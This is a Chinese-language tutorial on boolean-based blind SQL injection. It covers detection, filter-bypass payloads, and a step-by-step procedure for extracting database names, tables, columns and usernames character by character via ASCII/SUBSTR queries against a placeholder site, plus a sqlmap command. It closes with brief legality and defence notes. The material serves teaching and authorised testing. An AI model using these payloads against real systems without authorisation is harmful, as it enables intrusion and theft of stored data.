布尔注入(Boolean-based Blind SQLi)

布尔注入(Boolean-based Blind SQLi)

一、布尔注入的核心原理

布尔注入属于SQL盲注的核心类型,与「字符型/数字型显式注入」的本质区别在于:

  • 显式注入(字符/数字型):SQL语句执行结果(如报错信息、数据库数据)会直接回显在页面上,攻击者可通过回显直接获取信息;
  • 布尔注入(盲注):SQL语句执行结果无任何直接回显,页面仅会根据SQL条件的「布尔结果(TRUE/FALSE)」呈现两种固定状态(如“正常显示/空白”“有内容/无内容”“提示存在/提示不存在”),攻击者需通过构造真假条件,对比页面状态差异来“猜解”数据库信息。

原理本质

攻击者构造包含「布尔判断」的恶意SQL语句,利用页面状态的“二元差异”(真→页面A状态,假→页面B状态),逐步验证数据库信息(长度、字符、内容)的正确性。
例:

# 构造布尔条件:若数据库名长度=6则返回TRUE,页面正常;否则FALSE,页面异常
?id=1' AND LENGTH(database())=6 --+

二、布尔注入与字符/数字型显注的核心区别(解决混淆)

维度 字符型/数字型显式注入 布尔注入(盲注)
回显形式 有直接回显(数据、报错、语法提示) 无直接回显,仅页面状态二元差异
判断核心 验证SQL语句能否被执行(如报错、数据篡改) 验证布尔条件是否影响页面状态
核心目的 直接获取回显的数据库信息 通过状态差异“猜解”信息
典型判断Payload ?id=1'(字符型,触发语法报错)、?id=1 and 1=2(数字型,数据消失) ?id=1' AND 1=1 --+(真→正常)、?id=1' AND 1=2 --+(假→异常)

三、判断布尔注入存在的完整方法(多维度,避免混淆)

判断核心:排除显式注入后,验证页面状态是否严格跟随布尔条件的真假变化(而非语法报错/数据回显)。

1. 基础判断法(核心,区分显注与布尔盲注)

步骤1:先验证是否为“盲注场景”(无直接回显)

构造显式注入Payload,确认无直接回显(排除显注):

# 字符型显注测试:若页面报错(如MySQL语法错误),则为显注;无报错则进入盲注判断
?id=1'

# 数字型显注测试:若页面直接显示“无数据”但无报错,进入盲注判断
?id=1 and 1=2

步骤2:构造“互斥布尔条件”,验证状态差异

条件类型 Payload示例(GET参数?id) 预期页面状态 判定依据
恒真条件 ?id=1' AND 1=1 --+(字符型)
?id=1 AND 1=1(数字型)
页面保持“正常状态”(如显示目标内容) 两组条件页面状态稳定差异
恒假条件 ?id=1' AND 1=2 --+(字符型)
?id=1 AND 1=2(数字型)
页面切换为“异常状态”(如空白、无内容、提示“不存在”) 则判定存在布尔注入

关键区分点(解决用户混淆):

  • 字符/数字型显注:执行?id=1'会直接报SQL语法错误(如You have an error in your SQL syntax);
  • 布尔注入:执行?id=1'不会报错,仅页面状态异常;只有构造AND 1=1/1=2时,页面状态才随条件真假切换。

2. 进阶判断法(应对过滤/特殊场景)

(1)过滤场景下的布尔条件验证(空格/关键字被拦截)

若基础Payload无效果,尝试绕过过滤,再验证状态差异:

# 空格绕过:/**/、()、Tab(%09)
?id=1')AND(1=1--+ # 括号替代空格
?id=1'%20AND%201=1--+ # URL编码空格
?id=1'/**/AND/**/1=1--+ # 注释符替代空格

# 关键字绕过:大小写、双写、替代符
?id=1' aNd 1=1 --+ # 大小写
?id=1' ANANDD 1=1 --+ # 双写
?id=1' && 1=1 --+ # &&替代AND(MySQL)
?id=1' || 1=1 --+ # ||替代OR(MySQL)

# 等号绕过:LIKE、REGEXP
?id=1' AND 1 LIKE 1 --+
?id=1' AND 'a' REGEXP '^a' --+

(2)多参数场景的布尔注入判断(如POST表单)

针对POST参数(如username=admin&password=123),构造布尔条件:

# POST体示例(Burp抓包修改)
username=admin' AND 1=1 --+&password=123 # 恒真→登录页面提示“用户名错误”(正常状态)
username=admin' AND 1=2 --+&password=123 # 恒假→登录页面提示“系统错误”(异常状态)

(3)结合“无意义条件”的辅助判断(排除页面随机波动)

构造非SQL的布尔条件,验证页面状态是否稳定,排除页面自身波动:

# 无意义条件(页面应无变化)
?id=1' AND 'a'='a --+ # 恒真,页面正常
?id=1' AND 'a'='b --+ # 恒假,页面异常
# 若状态稳定,说明是SQL条件导致的状态变化,而非页面随机问题

(4)区分布尔注入与时间盲注

若页面状态无差异,需排除时间盲注(避免误判):

# 时间盲注测试:页面延迟5秒响应则为时间盲注,否则无盲注
?id=1' AND SLEEP(5) --+
# 若页面无延迟,且基础布尔条件也无状态差异→无布尔注入

四、布尔注入的完整攻击步骤(实操逻辑)

步骤1:确认布尔注入场景(无显式回显+状态随布尔条件变化)

如目标URL:http://test.com/index.php?id=1,验证:

# 恒真→页面显示“用户ID:1”
http://test.com/index.php?id=1' AND 1=1 --+
# 恒假→页面显示“无此用户”
http://test.com/index.php?id=1' AND 1=2 --+

步骤2:猜解目标信息的“边界”(长度)

构造LENGTH(目标信息)=数值,找到正确长度:

# 猜解当前数据库名长度
http://test.com/index.php?id=1' AND LENGTH(database())=6 --+
# 页面正常→确认数据库名长度为6

步骤3:逐字符猜解(基于ASCII码)

构造ASCII(SUBSTR(目标信息, 位置, 1))=ASCII码,逐个验证字符:

# 猜解数据库名第1个字符(ASCII=116→'t')
http://test.com/index.php?id=1' AND ASCII(SUBSTR(database(),1,1))=116 --+
# 页面正常→确认第1个字符为't'

步骤4:逐层猜解(库→表→列→数据)

# 猜解表名(testdb库下第1个表)
http://test.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),1,1))=117 --+

# 猜解列名(users表下第1个列)
http://test.com/index.php?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='testdb' AND table_name='users' LIMIT 0,1),1,1))=117 --+

# 猜解数据(users表中username列第1条数据)
http://test.com/index.php?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1))=97 --+

五、不同场景下的布尔注入Payload示例

1. 字符型参数(最常见)

# 验证存在性
?id=1' AND 1=1 --+ # 真→正常
?id=1' AND 1=2 --+ # 假→异常

# 猜解数据库名长度
?id=1' AND LENGTH(database())=N --+

# 逐字符猜解
?id=1' AND ASCII(SUBSTR(database(),M,1))=X --+

2. 数字型参数

# 验证存在性
?id=1 AND 1=1 # 真→正常
?id=1 AND 1=2 # 假→异常

# 猜解长度
?id=1 AND LENGTH(database())=N

# 逐字符猜解
?id=1 AND ASCII(SUBSTR(database(),M,1))=X

3. POST参数(表单)

# 登录表单(username参数)
username=admin' AND 1=1 --+&password=123 # 真→提示“密码错误”
username=admin' AND 1=2 --+&password=123 # 假→提示“用户名不存在”

4. 过滤绕过Payload

# AND被过滤→用&&
?id=1' && 1=1 --+

# 空格被过滤→用/**/
?id=1'/**/AND/**/1=1--+

# 等号被过滤→用LIKE
?id=1' AND ASCII(SUBSTR(database(),1,1)) LIKE 116 --+

六、关键注意事项

  1. 核心区分点:布尔注入的判断核心是“页面状态随布尔条件变化”,而非“SQL语法报错/数据回显”(这是显注的特征);
  2. 效率问题:手动猜解效率极低,实际可使用sqlmap自动化(sqlmap -u "URL" --technique B,B代表布尔盲注);
  3. 数据库适配
    • MySQL:LENGTH()/SUBSTR()/ASCII()
    • SQL Server:LEN()/SUBSTRING()/ASCII()
    • Oracle:LENGTH()/SUBSTR()/ASCII()
  4. 合法性:仅允许在授权环境下测试,未经授权攻击他人系统属于违法犯罪行为;
  5. 防御参考:开启参数化查询、过滤特殊字符、限制数据库权限、统一页面异常状态(消除布尔差异)。